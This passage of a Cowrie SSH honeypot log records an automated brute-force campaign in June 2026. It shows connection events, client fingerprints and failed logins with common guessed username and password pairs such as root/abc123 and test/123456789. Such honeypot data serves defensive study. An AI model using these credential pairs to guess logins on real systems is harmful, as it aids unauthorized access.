0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:13.909543Z","src_ip":"192.109.200.78","session":"f1af03b25e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:14.294548Z","src_ip":"192.109.200.78","session":"f1af03b25e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:15.378342Z","src_ip":"192.109.200.78","session":"f1af03b25e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51948,"dst_ip":"10.17.0.5","dst_port":22,"session":"b57237e5e431","protocol":"ssh","message":"New connection: 192.109.200.78:51948 (10.17.0.5:22) [session: b57237e5e431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:17.381506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:17.385484Z","src_ip":"192.109.200.78","session":"b57237e5e431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:17.469132Z","src_ip":"192.109.200.78","session":"b57237e5e431","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:17.713902Z","src_ip":"192.109.200.78","session":"b57237e5e431","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:18.798230Z","src_ip":"192.109.200.78","session":"b57237e5e431","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51960,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b74c0a34a2d","protocol":"ssh","message":"New connection: 192.109.200.78:51960 (10.17.0.5:22) [session: 0b74c0a34a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:21.030481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:21.035684Z","src_ip":"192.109.200.78","session":"0b74c0a34a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:21.116478Z","src_ip":"192.109.200.78","session":"0b74c0a34a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y","message":"login attempt [root/1q2w3e4r5t6y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:21.362576Z","src_ip":"192.109.200.78","session":"0b74c0a34a2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:22.445571Z","src_ip":"192.109.200.78","session":"0b74c0a34a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45778,"dst_ip":"10.17.0.5","dst_port":22,"session":"267a32787b43","protocol":"ssh","message":"New connection: 192.109.200.78:45778 (10.17.0.5:22) [session: 267a32787b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:24.478812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:24.484889Z","src_ip":"192.109.200.78","session":"267a32787b43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:24.565622Z","src_ip":"192.109.200.78","session":"267a32787b43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:24.812608Z","src_ip":"192.109.200.78","session":"267a32787b43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:25.896645Z","src_ip":"192.109.200.78","session":"267a32787b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45786,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1a2bb541144","protocol":"ssh","message":"New connection: 192.109.200.78:45786 (10.17.0.5:22) [session: d1a2bb541144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:27.722684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:27.808391Z","src_ip":"192.109.200.78","session":"d1a2bb541144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:27.811887Z","src_ip":"192.109.200.78","session":"d1a2bb541144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"core","password":"P@ssw0rd","message":"login attempt [core/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:28.259246Z","src_ip":"192.109.200.78","session":"d1a2bb541144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:29.343596Z","src_ip":"192.109.200.78","session":"d1a2bb541144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":51703,"dst_ip":"159.203.135.109","dst_port":22,"session":"fddfa66576ef","protocol":"ssh","message":"New connection: 178.20.210.208:51703 (159.203.135.109:22) [session: fddfa66576ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:30.292750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:31.131686Z","src_ip":"178.20.210.208","session":"fddfa66576ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:31.134606Z","src_ip":"178.20.210.208","session":"fddfa66576ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45800,"dst_ip":"10.17.0.5","dst_port":22,"session":"c148fef0a787","protocol":"ssh","message":"New connection: 192.109.200.78:45800 (10.17.0.5:22) [session: c148fef0a787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:31.348455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:31.351979Z","src_ip":"192.109.200.78","session":"c148fef0a787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:31.432247Z","src_ip":"192.109.200.78","session":"c148fef0a787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"up2date","password":"up2date","message":"login attempt [up2date/up2date] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:31.548940Z","src_ip":"178.20.210.208","session":"fddfa66576ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:31.674085Z","src_ip":"192.109.200.78","session":"c148fef0a787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:32.653961Z","src_ip":"178.20.210.208","session":"fddfa66576ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:32.756917Z","src_ip":"192.109.200.78","session":"c148fef0a787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48286,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c6ecf3fb68e","protocol":"ssh","message":"New connection: 192.109.200.78:48286 (10.17.0.5:22) [session: 5c6ecf3fb68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:35.036720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:35.041226Z","src_ip":"192.109.200.78","session":"5c6ecf3fb68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:35.121965Z","src_ip":"192.109.200.78","session":"5c6ecf3fb68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:35.365091Z","src_ip":"192.109.200.78","session":"5c6ecf3fb68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:36.449226Z","src_ip":"192.109.200.78","session":"5c6ecf3fb68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48290,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f839dbebcac","protocol":"ssh","message":"New connection: 192.109.200.78:48290 (10.17.0.5:22) [session: 0f839dbebcac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:38.499286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:38.503467Z","src_ip":"192.109.200.78","session":"0f839dbebcac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:38.585279Z","src_ip":"192.109.200.78","session":"0f839dbebcac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:38.829919Z","src_ip":"192.109.200.78","session":"0f839dbebcac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:40.061908Z","src_ip":"192.109.200.78","session":"0f839dbebcac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.40974736213684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:55:40.219670Z","src_ip":"132.148.22.172","session":"daea3894dbf2","protocol":"telnet"}
